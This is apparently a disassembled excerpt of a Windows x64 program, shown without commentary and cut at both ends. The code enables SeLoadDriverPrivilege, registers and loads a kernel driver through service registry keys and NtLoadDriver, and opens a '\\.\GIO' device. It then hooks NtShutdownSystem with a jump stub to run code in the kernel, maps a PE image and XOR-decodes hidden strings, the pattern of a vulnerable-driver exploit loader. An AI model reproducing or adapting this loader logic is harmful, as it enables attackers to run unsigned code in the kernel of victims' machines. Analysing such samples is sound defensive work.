pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010400
cmp r8d, 0x2c
jge 0x140010553
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140010520
movzx r9d, byte [rbp + 0x118]
mov r8, r14
mov rdx, r10
lea rcx, [rbp - 0x58]
call fcn.14000ac20
mov r15d, dword [rbp + 0x370]
add r15, r14
mov qword [rsp + 0x50], r15
mov r14d, reloc.WS2_32.dll_recv
mov rax, qword gs:[0x58]
add r14, qword [rax]
mov eax, dword [r14]
cmp dword [0x14010abb8], eax
jle 0x1400105c3
lea rcx, [0x14010abb8]
call fcn.1400626e8
cmp dword [0x14010abb8], 0xffffffff
jne 0x1400105c3
call fcn.14000c9d0
mov qword [0x14010ab80], rax
lea rcx, [0x14010abb8]
call fcn.140062688
mov eax, dword [r14]
cmp dword [0x14010abc8], eax
jle 0x1400105fb
lea rcx, [0x14010abc8]
call fcn.1400626e8
cmp dword [0x14010abc8], 0xffffffff
jne 0x1400105fb
call fcn.14000cf80
mov qword [0x14010ab88], rax
lea rcx, [0x14010abc8]
call fcn.140062688
cmp qword [0x14010ab80], 0
je 0x140011a0c
cmp qword [0x14010ab88], 0
je 0x140011a0c
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x218], xmm1
mov qword [rbp + 0x228], rsi
mov ecx, 0x6677
call fcn.140062808
test rax, rax
je 0x140011d9f
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp + 0x218], rcx
lea rbx, [rcx + 0x6650]
mov qword [rbp + 0x228], rbx
mov r8d, 0x6650
lea rdx, [0x140090d50]
call fcn.140064dd0
mov qword [rbp + 0x220], rbx
mov eax, dword [r14]
cmp dword [0x140108314], eax
jle 0x1400106af
lea rcx, [0x140108314]
call fcn.1400626e8
cmp dword [0x140108314], 0xffffffff
jne 0x1400106af
lea rcx, [0x140108314]
call fcn.140062688
lea rdx, [rbp + 0x240]
call fcn.14000e2c0
nop
lea rcx, [rbp + 0xa0]
call fcn.14000c860
nop
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.14000bc00
nop
lea rdx, [rbp + 0x240]
mov rcx, rax
call fcn.140008c20
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1b0], rsi
mov qword [rbp + 0x1b8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
or dword [rbp + 0x120], 0x800
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140010763
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001075e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e09
call fcn.140062a94
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], send
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x1400107b9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e15
call fcn.140062a94
movdqa xmm0, xmmword [0x1400a54d0]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], si
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3c0]
call fcn.140064be0
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rdx, qword [rbp + 0x1a0]
lea rcx, [rbp + 0x3c0]
call fcn.140011f50
nop
mov r8, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x218]
sub r8, rdx
lea rcx, [rbp + 0x3c0]
call fcn.140012ee0
lea rcx, [rbp + 0x3c8]
call fcn.140013680
mov ebx, 2
test rax, rax
jne 0x140010868
mov rax, qword [rbp + 0x3c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3c0]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, ebx
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.14000b8c0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], 7
mov r8d, socket
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x160]
call fcn.140013ac0
mov qword [rbp + 0x110], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x110]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140010947
mov bl, 1
jmp 0x1400109d7
imul rax, r14, 0x128
mov r14, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140010929
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e0f
call fcn.140062a94
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], send
mov byte [rbp + 0x130], 0
jmp 0x14001034c
mov qword [rbp + 0x238], rsi
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 8
cmovae rdx, qword [rbp + 0x160]
lea r8, [rbp + 0x238]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14001097c
mov bl, 1
jmp 0x1400109d7
mov dword [rbp + 0x1c0], 1
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x1c4], rax
mov dword [rbp + 0x1cc], ebx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1c0]
xor edx, edx
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400109c8
mov bl, 1
jmp 0x1400109d7
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x140010a1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e1b
call fcn.140062a94
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], si
test bl, bl
je 0x140010a41
xor bl, bl
jmp 0x140010d1c
mov rdi, qword [rbp + 0x1b0]
lea rbx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rbx, qword [rbp + 0x1a0]
call fcn.140060298
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rdi
lea r8, [rbp + 0x150]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.14000bab0
mov eax, dword [rbp + 0x120]
or eax, 0x3000
mov qword [rbp + 0x40], rsi
movdqa xmm0, xmmword [0x1400a54d0]
movdqu xmmword [rbp + 0x50], xmm0
mov word [rbp + 0x40], si
bts eax, 0xe
mov dword [rbp + 0x120], eax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x40]
call fcn.14000c5b0
test eax, eax
jne 0x140011e21
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x40]
call fcn.14000bc00
nop
mov r8, rax
lea rdx, [0x1400a46ec]
lea rcx, [rbp + 0xe0]
call fcn.140014490
mov rdi, rax
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x380]
call fcn.140003930
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x380]
call fcn.140008c20
lea rcx, [rbp + 0x380]
call fcn.140008b70
mov rdx, rax
lea r8, [rbp + 0x108]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140010b48
mov bl, 1
jmp 0x140010c5a
mov byte [rbp + 0x11b], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x11b]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140010b8b
mov bl, 1
jmp 0x140010c5a
mov byte [rbp + 0x11a], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x11a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140010bce
mov bl, 1
jmp 0x140010c5a
mov byte [rbp + 0x118], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140010c0e
mov bl, 1
jmp 0x140010c5a
mov ebx, dword [rdi + 0x10]
mov rcx, rdi
call fcn.140008b70
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
test eax, eax
je 0x140010c48
mov bl, 1
jmp 0x140010c5a
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
setne bl
lea rcx, [rbp + 0x380]
call fcn.140008cd0
nop
lea rcx, [rbp + 0xe0]
call fcn.140008cd0
nop
lea rcx, [rbp + 0xc0]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x40]
call fcn.14000bcf0
nop
lea rcx, [rbp + 0x80]
call fcn.14000bcf0
test bl, bl
je 0x140010c9f
xor bl, bl
jmp 0x140010d17
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x3a0]
call fcn.140003930
nop
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x3a0]
call fcn.140008c20
lea rcx, [rbp + 0x3a0]
call fcn.140008b70
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x3a0]
call fcn.140008cd0
mov edi, 0x1f
mov byte [rsp + 0x48], bl
lea r8, [rbp + 0x240]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x1f0]
call fcn.140014500
nop
lea rcx, [rbp + 0x3c0]
call fcn.14000e420
nop
lea rcx, [rbp + 0x1a0]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x240]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x218]
call fcn.140008360
nop
cmp byte [rbp + 0x210], 0
jne 0x140010db3
mov qword [rbp + 0x128], rsi
lea rcx, [rbp + 0x180]
call fcn.140008dd0
nop
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x300]
call fcn.140014530
nop
lea rcx, [rbp + 0x180]
call fcn.140008cd0
jmp 0x140010dfb
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1401082c0], rax
lea r8, [rbp + 0x1f0]
lea rcx, [rbp + 0x300]
call fcn.140014560
nop
lea rcx, [rbp + 0x1f0]
call fcn.140008cd0
nop
cmp qword [rbp + 0x300], 0
je 0x1400117de
cmp qword [rbp + 0x318], 0
je 0x1400117de
lea rcx, [rbp + 0x119]
call fcn.1400188f0
mov eax, 0x5a4d
cmp word [0x140090d50], ax
jne 0x140010e55
movsxd rax, dword [0x140090d8c]
lea rcx, [0x140090d50]
add rax, 8
add rax, rcx
jmp 0x140010e5a
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x119]
call fcn.14001a200
mov rbx, r15
mov eax, dword [rsp + 0x40]
add rax, r15
cmp r15, rax
jae 0x14001118d
mov r15, rax
movabs r12, 0x7ffffffffffffffd
mov rdi, qword [0x14010ab88]
mov eax, dword [r14]
cmp dword [0x140108264], eax
jle 0x140010ee7
lea rcx, [0x140108264]
call fcn.1400626e8
cmp dword [0x140108264], 0xffffffff
jne 0x140010ee7
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140108308], rax
lea rcx, [0x140108264]
call fcn.140062688
mov eax, dword [r14]
cmp dword [0x140108304], eax
jle 0x140010f2d
lea rcx, [0x140108304]
call fcn.1400626e8
cmp dword [0x140108304], 0xffffffff
jne 0x140010f2d
xor edx, edx
lea rcx, [0x140108270]
call fcn.14000b9f0
lea rcx, [0x14007c5b0]
call fcn.140062a7c
lea rcx, [0x140108304]
call fcn.140062688
lea rcx, [0x140108270]
call fcn.14000ba10
mov dword [rsp + 0x68], 0x25ff
mov word [rsp + 0x6c], 0
mov qword [rsp + 0x6e], rdi
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x2f0]
call fcn.14000ea40
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rsp + 0x68]
call fcn.14000ebe0
mov rax, qword [0x140108308]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x2f0]
call fcn.14000ebe0
lea rcx, [0x140108270]
call fcn.140061784
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x119]
call fcn.140019120
test al, al
jne 0x140010fdc
xor eax, eax
mov qword [rbp + 0x120], rax
jmp 0x140010fe3
mov rax, qword [rbp + 0x120]
test al, al
jns 0x140011001
and rax, r12
or rax, 2
mov qword [rbp + 0x120], rax
lea r8, [rbp + 0x120]
jmp 0x140011162
mov rdi, qword [0x14010ab80]
mov eax, dword [r14]
cmp dword [0x140108264], eax
jle 0x140011058
lea rcx, [0x140108264]
call fcn.1400626e8
cmp dword [0x140108264], 0xffffffff
jne 0x140011058
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140108308], rax
lea rcx, [0x140108264]
call fcn.140062688
mov eax, dword [r14]
cmp dword [0x140108304], eax
jle 0x14001109e
lea rcx, [0x140108304]
call fcn.1400626e8
cmp dword [0x140108304], 0xffffffff
jne 0x14001109e
xor edx, edx
lea rcx, [0x140108270]
call fcn.14000b9f0
lea rcx, [0x14007c5b0]
call fcn.140062a7c
lea rcx, [0x140108304]
call fcn.140062688
lea rcx, [0x140108270]
call fcn.14000ba10
mov dword [rsp + 0x78], 0x25ff
mov word [rsp + 0x7c], 0
mov qword [rsp + 0x7e], rdi
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x2e0]
call fcn.14000ea40
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rsp + 0x78]
call fcn.14000ebe0
mov rax, qword [0x140108308]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x2e0]
call fcn.14000ebe0
lea rcx, [0x140108270]
call fcn.140061784
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x119]
call fcn.140019120
test al, al
jne 0x140011146
xor eax, eax
jmp 0x14001114d
mov rax, qword [rbp + 0x128]
and rax, r12
or rax, 2
mov qword [rbp + 0x128], rax
lea r8, [rbp + 0x128]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x119]
call fcn.140019880
add rbx, 0x1000
cmp rbx, r15
jb 0x140010e90
mov r12d, 5
mov r9d, 4
mov r8d, 0x3000
mov edx, dword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov r8d, dword [r13 + 0x54]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140064dd0
movzx ebx, word [r13 + 0x14]
add rbx, 0x28
mov edi, esi
cmp si, word [r13 + 6]
jae 0x140011209
add rbx, r13
mov r12, qword [rsp + 0x58]
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rbx - 4]
add rcx, r15
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, r12
call fcn.140064dd0
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x1400111e0
mov r12d, 5
mov rdi, qword [rsp + 0x50]
mov rbx, rdi
sub rbx, qword [r13 + 0x30]
mov rdx, r15
lea rcx, [rbp - 0x78]
call fcn.140016820
mov rdx, rbx
mov rcx, rax
call fcn.1400163b0
mov rdx, r15
lea rcx, [rbp + 0x180]
call fcn.140016950
mov rcx, rax
call fcn.1400164b0
test al, al
jne 0x140011289
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x130]
call fcn.140008df0
mov rbx, rax
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14001127c
mov rcx, rbx
call fcn.14000e4c0
nop
mov rcx, rbx
call fcn.140008cd0
jmp 0x1400119f9
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, r15
call fcn.140064be0
mov r9d, dword [rsp + 0x40]
mov r8, r15
mov rdx, rdi
lea rcx, [rbp + 0x119]
call fcn.140019880
mov ebx, dword [r13 + 0x28]
add rbx, rdi
mov r15d, dword [r13 + 0x50]
mov eax, dword [r14]
cmp dword [0x14010aba4], eax
jle 0x140011309
lea rcx, [0x14010aba4]
call fcn.1400626e8
cmp dword [0x14010aba4], 0xffffffff
jne 0x140011309
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14010abd0], rax
lea rcx, [0x14010aba4]
call fcn.140062688
mov eax, dword [r14]
cmp dword [0x14010aba0], eax
jle 0x14001134f
lea rcx, [0x14010aba0]
call fcn.1400626e8
cmp dword [0x14010aba0], 0xffffffff
jne 0x14001134f
xor edx, edx
lea rcx, [0x14010abe0]
call fcn.14000b9f0
lea rcx, [0x14007c5a0]
call fcn.140062a7c
lea rcx, [0x14010aba0]
call fcn.140062688
lea rcx, [0x14010abe0]
call fcn.14000ba10
mov dword [rsp + 0x58], 0x25ff
mov word [rsp + 0x5c], 0
mov qword [rsp + 0x5e], rbx
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x150]
call fcn.14000ea40
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rsp + 0x58]
call fcn.14000ebe0
mov rax, qword [0x14010abd0]
mov rdx, r15
mov rcx, rdi
call rax
mov ebx, eax
mov rcx, qword [0x1401082c8]
mov r8d, send
lea rdx, [rbp + 0x150]
call fcn.14000ebe0
lea rcx, [0x14010abe0]
call fcn.140061784
movups xmm0, xmmword [0x1400a4278]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400a4288]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [str.y_33_]
movups xmmword [rbp], xmm0
mov r8d, esi
mov r15d, dword [reloc.d2d1.dll_Ordinal_1]
cmp r15d, 2
jl 0x140011559
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c30]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
mov edi, 0x1f
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rbp + 0x150]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140011450
jmp 0x140011597
lea r9, [rbp - 0x20]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140011560
mov edi, 0x1f
mov edx, ebx
lea rcx, [rbp - 0x20]
call fcn.14000ac20
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x1f0]
call fcn.140008df0
mov rbx, rax
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400115df
mov rcx, rbx
call fcn.14000e4c0
test al, al
je 0x1400115df
mov r14b, 1
jmp 0x1400115e2
xor r14b, r14b
mov rcx, rbx
call fcn.140008cd0
test r14b, r14b
je 0x1400119f9
movups xmm0, xmmword [0x1400a4340]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x1400a4350]
movups xmmword [rbp - 0x48], xmm1
movsd xmm0, qword [0x1400a4360]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x1400a4368]
mov word [rbp - 0x30], ax
cmp r15d, 2
jl 0x14001177a
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rbp + 0x150]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x140011670
cmp esi, 0x2a
jge 0x1400117bf
movsxd rax, esi
lea r8, [rbp - 0x58]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2a
jl 0x140011790
lea rdx, [rbp - 0x58]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov bl, 1
jmp 0x1400119fb
movups xmm0, xmmword [0x1400a42b0]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x1400a42c0]
movups xmmword [rbp + 0x200], xmm1
mov eax, dword [0x1400a42d0]
mov dword [rbp + 0x210], eax
movzx eax, word [0x1400a42d4]
mov word [rbp + 0x214], ax
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14001196a
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x150]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
